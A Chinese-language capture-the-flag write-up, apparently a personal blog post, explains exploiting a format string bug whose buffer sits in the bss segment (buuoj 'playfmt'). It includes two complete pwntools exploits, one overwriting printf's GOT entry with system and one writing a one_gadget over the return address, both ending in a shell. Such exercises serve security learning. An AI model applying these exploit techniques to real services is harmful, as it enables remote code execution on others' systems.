非栈上的格式化字符串漏洞_bss段

本文最后更新于 2024年10月9日 上午

非栈上的格式化字符串漏洞-bss段

方法一:修改printf为system,输入/bin/sh

这种方法会有点复杂

以buu上的hitcontraining_playfmt为例

img

img

没有开FULL RELRO,也就是说got表可改,那么我们的思路就是把printf的got表改成system,输入/bin/sh即可拿到shell

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *


#r = remote("node5.buuoj.cn", 28773)
r = process("./playfmt")

elf = ELF("./playfmt")
libc = ELF('./libc-2.23.so')
printf_got = 0x0804A010
old_addr = 0x0804B080
# printf:0xf7d7b2d0 system:0xf7d67200
context.log_level = 'debug'
DEBUG = 0
'''if DEBUG:
gdb.attach(r,

b *0x0804854F
c
)'''
#gdb.attach(r)
r.recvuntil("=====================\n")
r.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
r.sendline(payload)
rbp = int(r.recvuntil('\n').strip(), 16) #泄露栈地址
success("rbp:"+hex(rbp))
start_main = int(r.recvuntil('\n').strip(), 16) - 247 #泄露libc地址
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))
print(hex(system))
raw_input() #
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn' #把libc地址抓入栈
r.sendline(payload)

raw_input()
num = (printf_got)& 0xFF
payload = '%' + str(num) + 'c%10$hhn' #把printf_got抓入栈
r.sendline(payload)

raw_input()
got_addr = rbp - 8 - 4
num = got_addr&0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)

raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn' #把printf_got+2抓入栈
r.sendline(payload)

raw_input()
num1 = system&0xFFFF #0x5678
num2 = (system>>16)-num1
print(hex(num1), ',', hex(num2))
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn' #把printf_got改为system
r.sendline(payload)

'''raw_input()

payload='%' + str(num2) + 'c%7$hn'
r.sendline(payload)'''

raw_input()
payload = "/bin/sh"
r.sendline(payload)

r.interactive()
#pause()

把libc地址抓进栈中

1
2
3
4
5
raw_input()  #
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn' #把libc地址抓入栈
r.sendline(payload)

点击并拖拽以移动

img

img

因为libc的地址只有低8位不同,通过写入低字节把printf_got抓到栈中

1
2
3
4
raw_input()
num = (printf_got)& 0xFF
payload = '%' + str(num) + 'c%10$hhn' #把printf_got抓入栈
r.sendline(payload)

img

把print_got+2抓入栈中(把print_got改成system要一半一半的改)

1
2
3
4
raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn' #把printf_got+2抓入栈
r.sendline(payload)

img

把printf_got改成system

1
2
3
4
5
6
raw_input()
num1 = system&0xFFFF #0x5678
num2 = (system>>16)-num1
print(hex(num1), ',', hex(num2))
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn' #把printf_got改为system
r.sendline(payload)

img

这里num2为什么要减去num1,且看AI怎么说:

num2 是计算用来进行格式字符串漏洞利用时的一个重要部分。具体来说,num2 = (system >> 16) - num1 旨在算出在利用 printf 的格式字符串时需要写入的第二个16位数。

让我们逐步分析代码中为什么会有这样的操作:

  1. 狙击的目标: 该代码段的目标是将 system 的地址写入到某个特定的内存位置(例如 GOT 中的某个函数地址),使得在后续调用该函数时能够执行 system("/bin/sh"),从而获得一个 shell。

  2. 16位数分解: 在 x86 系统中,指针通常是 32 位的。如果我们想把一个 32 位的地址(例如 system 的地址)分成两个部分,即高 16 位和低 16 位:

    • num1system 地址的低 16 位(通过 num = system & 0xFFFF 获取)。
    • num2system 地址的高 16 位(通过 (system >> 16) - num1 计算得到)。

    这里的操作 (system >> 16) 将地址右移 16 位,从而取出高 16 位。然后通过减去 num1,我们得到需要加到低 16 位后面以达到完整地址的偏移量。

  3. 格式化字符串参数: 在格式字符串攻击中,%hn 写入 16 位的数值到一个指定的内存地址。因此,你需要两个写操作:

    • 第一次写操作用 num1(低 16 位)。
    • 第二次写操作则将 num2 写入到目标地址的高 16 位。
  4. 执行顺序: 在这种方式控制内存写入时,确保正确顺序非常重要,因为低 16 位和高 16 位分别会被修改,因此需要正确的偏移才能将 system 的完整地址写入目标位置。

总结起来,num2 的计算是通过右移和减去 num1 获取的为了将 system 地址的高 16 位正确写入目的地。这种技术是利用格式字符串漏洞进行精准内存操作的重要手段。

注意:这里因为是在play函数里面改的,系统已经会按照代码继续执行,所以改掉返回地址也没有关系,不要误认为是通过printf_got+2来执行的

方法二:修改返回地址为oneget来getshell

先放exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
#io=process('./playfmt')
io=remote('node5.buuoj.cn','27461')
context(arch='i386',os='linux',log_level='debug')
libc=ELF('./libc-2.23.so')
def fmt(a):
io.send(a)
#gdb.attach(io)
io.recvuntil("=====================\n")
io.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
io.sendline(payload)
rbp = int(io.recvuntil('\n').strip(), 16) #泄露栈地址
success("rbp:"+hex(rbp))
start_main = int(io.recvuntil('\n').strip(), 16) - 247 #泄露libc地址
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))
print(hex(system))
one=p32(libc.address+0x3a80c)
ret=rbp-8-4
num=(rbp-12)&0xff
payload="%"+str(num)+"c%6$hhn\0"
fmt(payload)
for i in range(4):
raw_input()
payload="%"+str(num+i)+"c%6$hhn\0"
fmt(payload)
raw_input()
payload="%"+str(one[i])+"c%10$hhn\0"
fmt(payload)
fmt('quit')
io.interactive()
#pause()

gdb调试可以看到返回地址是play函数

img

如果我们能把它改成onegadget,我们就能getshell

img

可以看到已经更改

onegadget用工具在libc文件寻找


非栈上的格式化字符串漏洞_bss段
http://example.com/2024/08/24/非栈上的格式化字符串漏洞/
作者
清风
发布于
2024年8月24日
许可协议